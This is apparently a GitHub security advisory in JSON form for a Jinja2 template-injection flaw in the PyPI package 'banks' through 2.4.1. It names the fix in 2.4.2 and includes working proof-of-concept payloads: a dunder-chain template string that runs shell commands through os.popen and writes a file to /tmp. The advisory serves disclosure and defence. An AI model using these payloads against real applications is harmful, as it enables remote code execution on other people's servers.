{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "banks"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T20:36:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`banks \u003c= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment \u2014 not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` \u2014 the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027id\u0027).read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__(\u0027os\u0027).popen(\u0027echo POC \u003e /tmp/rce_banks_exec\u0027).read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks \u003c= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack \u2014 identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm \u2014 identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
  "id": "GHSA-gphh-9q3h-jgpp",
  "modified": "2026-05-08T20:36:22Z",
  "published": "2026-05-08T20:36:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/masci/banks/pull/74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/masci/banks"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI"
}